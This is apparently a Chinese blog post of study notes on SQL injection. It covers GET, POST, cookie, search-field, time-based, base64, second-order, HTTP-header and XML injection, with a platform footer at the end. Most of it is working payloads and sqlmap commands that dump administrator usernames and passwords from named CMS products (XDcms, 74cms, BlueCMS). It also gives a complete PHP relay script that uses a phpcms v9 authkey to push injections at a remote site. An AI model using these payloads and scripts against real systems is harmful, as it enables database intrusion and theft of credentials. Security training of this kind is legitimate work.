SQL其他类型注入---------笔记

一、提交式注入

1、GET注入:通过url传参

数字型注入:id=1

字符型注入:闭合字符,注释掉尾部‘,目的是执行后面语句
www.cracer.com/news.asp?id=你好 ‘and 1=1#
select * from news where id=‘你好’ and 1=1 #’
www.cracer.com/news.asp?id=你好’ and 1=1 ’
select * from news where id=‘你好’ and 1=1’‘

2、 POST注入
适用于表单的提交,通过bp抓取响应数据包

(1)使用工具:
pangolin(穿山甲):
加载表单——>自动探测(选择post注入) —同get

sqlmap:
sqlmap.py -u “…/log.php” --form 自动加载表单-----------同get
sqlmap.py -u “…/log.php” --data “username=123&password=123” -------指定注入点
sqlmap.py -r c:\数据包文件目录 ----------bp抓提交包,丢给sqlmap

(2)XDcms全版本注入:(需要使用抓包改包工具)
抓取表单提取响应页面
可能的注入点:%5B和%5D之间(即[])

手工:
判断注入:%5B ’ %5D 若报错则存在注入(forward to浏览器或bp-repeater审计)
输入注入语句(位置*):
%60%3D%28select%20group_concat%28username%2C0x3a%2Cpassword%29%20from%20c_admin%20where%20id%3D1%29%23
经URL解码后:
`=(select group_concat(username,0x3a,password) from c_admin where id=1)# ------------查询c_admin表下的用户密码
forward–在注入点爆出用户密码

工具 :
sqlmap(要结合bp抓包)
在注入的位置(%5D前面)加*
sqlmap跑包(*位置)

3、 COOKIE注入:
(1)pangolin:cookie注入

(2)sqlmap:
sqlmap.py “http://1.1.1.1/1.asp” --cookie “id=1” --level 2 判断注入
sqlmap.py “http://1.1.1.1/1.asp” --cookie “id=1” --level 2 --tables

(3)手工注入:
清空地址栏,输入:javascript:alert(document.cookie=“id=”+escape(“1 and 1=1”))
然后去掉?id=1输入http://soft.XXXXX.edu.cn/list.asp,返回正常

javascript:alert(document.cookie=“id=”+escape(“1 and 1=2”))
然后去掉?id=1输入http://soft.XXXXX.edu.cn/list.asp,若报错,说明存在注入

javascript:alert(document.cookie=“id=”+escape(“1 order by 5”))
然后去掉?id=1输入http://soft.XXXXX.edu.cn/list.asp,若返回正常,表明列数大于5

javascript:alert(document.cookie=”id=”+escape(“1 and 1=2 select 1,2,3,4,5from admin”))

4、参数型注入

1)数字型注入:id=1

2)字符型注入:闭合字符,注释掉尾部‘,目的是执行后面语句
www.cracer.com/news.asp?id=你好 ‘and 1=1#
select * from news where id=‘你好’ and 1=1 #’

3)搜索型注入:在搜索框键入’ 闭合污染模糊查询语句——>报错

判断注入:
2%‘and 1=1 and ‘%’=’ 返回和单独输入2是一样的页面
2%‘and 1=2 and ‘%’=’ 返回不同
注入语法:
2%‘and(select count(*)from mssysaccessobjects)>0 and ‘%’=’
//返回正常。access数据库

2%‘and(select count(*)from admin_user)>0 and ‘%’=’ //返回正常非常幸运,存在admin_user表

2%‘and(select count(username)from admin_user)>0 and ‘%’=’
//返回正常,存在username字段

2%‘and(select count(password)from admin_user)>0 and
‘%’=’ //返回正常,并且存在password字段

2%‘and(select top 1 len(admin)from admin_user)>4 and ‘%’=’
//返回正常username长度大于4

2%‘and(select top 1 len(username)from admin_user)=5 and ‘%’=’
//返回正常username长度等于5

2%‘and(select top 1 len(password)from admin_user)=16 and ‘%’=’ //返回错误,看来密码不是16位md5加密的,或者没加密,32位加密,或更高。

2%‘and(select top 1 len(password)from admin_user)=32 and ‘%’=’ //返回正常,看来应该是32位加密。以下都是对应位置的ascii的编码,如果不是则返回错误。

2%‘and(select top 1 asc(mid(password,1,1))from admin_user)=55 and ‘%’=’

如果是:2010%‘and(select top 1 asc(mid(password,1,1))from admin_user)=48 and ‘%’=’,//则返回错误,因为password字段第一个字母ascii编码不是48,而是55.所以返回结果不同。

sqlmap:
bp抓包–在搜索框点击搜索
保存为1.txt
sqlmap -r 1.txt --tables 猜表名
sqlmap -r 1.txt --columns -T “admin” 猜列名
sqlmap -r 1.txt --C “admin.password” -T “manager” --dump -v 2 列内容

二、其他类型注入

1、伪静态注入
判断脚本语言—爬行网站,目录扫描,审查元素
判断注入:
id/1 and 1=1.html
id/1 and 1=2.html
加* 丢给sqlmap跑

2、延迟注入:

sleep()延迟注入用法:sleep 可以强制产生一个固定的延迟。

sleep()延迟注入核心原理:
and if(true,sleep(5),0); ==IF(1=1, true, false);

判断是否存在延迟注入:
id=1 and sleep(5) 5.0及以上版本的mysql,延迟5秒钟返回结果,则存在注入

and if(substring(user(),1,4)=‘root’,sleep(5),1) 判断当前用户,条件为真时延迟5秒

and if(MID(version(),1,1) LIKE 5, sleep(5), 1) 判断数据库版本信息第一个字符是否为5

可以去猜解数据库名称:
and if(ascii(substring(database(),1,4))>100,sleep(5),1)

sqlmap:
sqlmap --time-sec=2 延迟注入

3、base64编码注入
解码,注入语句编码,访问
手工:
id=1=====>id=MQ==
id=1 and 1=1======>id=BDFGJGHJ+=

sqlmap:写解码后的id
sqlmap.py -u “http://1.1.1.1/index.php?id=1” --tamper “base64encode,py”

4、二阶注入
一阶SQL注入发生在一个HTTP请求和响应中,系统对攻击输入立即反应执行。
二阶注入,作为sql注入的一种,他不同于普通的SQL注入,恶意代码被注入到web应用中不立即执行,而是存储到后端数据库,在处理另一次不同请求时,应用检索到数据库中的恶意输入并利用它动态构建SQL语句,实现了攻击。

实战:74cms人才系统-简历填写学校名称中存在二阶注入 aa’,fullname=user()# //‘闭合’

5、phpv9 authkey注入
利用exp爆出authkey(百度一下)
http://1.1.1.1/phpsso_server/index.php?m=phpsso&c=index&a=getapplist&auth_data=v=1&appid=1&data=662dCAZSAwgFUlUJBAxbVQJXVghTWVQHVFMEV1MRX11cBFMKBFMGHkUROlhBTVFuW1FJBAUVBwIXRlgeERUHQVlIUVJAA0lRXABSQEwNXAhZVl5V
然后本地搭建并运行注入脚本页面(phpv9.php)进行注入

<?php set_time_limit(0); $wang_url = 'http://localhost/phpcmsv9'; //请修改这里为phpcmsv9网站地址 $auth_key = 'H9zUDnCVcNUvuk9EHIANYHfRvC2W5kAF'; //这里为phpcmsv9 authkey $str = "uid=1" . stripslashes($_GET['id']); $encode = sys_auth($str, 'ENCODE', $auth_key); $content = file_get_contents($wang_url . "/phpsso_server/?m=phpsso&c=index&a=getuserinfo&appid=1&data=" . $encode); echo $content; function sys_auth($string, $operation = 'ENCODE', $key = '', $expiry = 0) { $key_length = 4; $key = md5($key); $fixedkey = hash('md5', $key); $egiskeys = md5(substr($fixedkey, 16, 16)); $runtokey = $key_length ? ($operation == 'ENCODE' ? substr(hash('md5', microtime(true)), -$key_length) : substr($string, 0, $key_length)) : ''; $keys = hash('md5', substr($runtokey, 0, 16) . substr($fixedkey, 0, 16) . substr($runtokey, 16) . substr($fixedkey, 16)); $string = $operation == 'ENCODE' ? sprintf('%010d', $expiry ? $expiry + time() : 0) . substr(md5($string . $egiskeys), 0, 16) . $string : base64_decode(substr($string, $key_length)); $i = 0; $result = ''; $string_length = strlen($string); for ($i = 0; $i < $string_length; $i++) { $result .= chr(ord($string{$i}) ^ ord($keys{$i % 32})); } if ($operation == 'ENCODE') { return $runtokey . str_replace('=', '', base64_encode($result)); } else { if ((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26) . $egiskeys), 0, 16)) { return substr($result, 26); } else { return ''; } } } ?>

构造注入点,对本地注入,把注入语句提交发送到远程服务器上,相当于一次中转注入,可以利用sqlmap跑本地的脚本 ->sqlmap.py -u “http://localhost/phpcmsv9.php?id=1”

6、http头注入
例如:插入注入,闭合概念
X_Forwarded-For:127.0.0.1‘
Refer:1‘
client-ip:1’
agent:1’
实战:blues cms

注册新用户;bluecms
提交留言
bp抓包——>在repeater里修改增加以上http头(burp抓包添加污染参数)
如:
client-ip:1’
报错则存在注入,注入方法:
exp构造:把注入语句放在内容列上,如content,使查询结果显示出来
(构造语句列数列数要对等)
将语句放在client-ip:注入点上
报错语句:INSERT INTO blue_comment (com_id, post_id, user_id, type, mood, content, pub_date, p, is_check)
VALUES (’’, ‘1’, ‘0’, ‘1’, ‘6’, ‘test’, ‘1480988752’, ‘127.0.0.1’’, ‘1’)

注入点
构造语句:a’,‘xxx’),(’’,‘1’,‘1’,‘1’,‘2’,(select concat(admin_name,0x3a,pwd) from blue_admin limit 0,1),‘1645457407’,‘sss’,‘1’)#

相当于:INSERT INTO blue_comment (com_id, post_id, user_id, type, mood, content, pub_date, ip, is_check) VALUES
(’’, ‘1’, ‘0’, ‘1’, ‘6’, ‘test’, ‘1480988752’, ‘a’,‘xxx’),(’’,‘1’,‘1’,‘1’,‘2’,(select concat(admin_name,0x3a,pwd)
from blue_admin limit 0,1),‘1645457407’,‘sss’,‘1’)#’’, ‘1’)

7、xml实体注入
数据转存,数据传输
注入实例:登陆页面
利用数据转存为一个文件(不过滤的话),插入注入语句
adminb123
利用标签闭合的原理,创建用户和密码

有关于骑士cms的注入漏洞可以见 https://www.cnblogs.com/Yuuki-/p/10815285.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值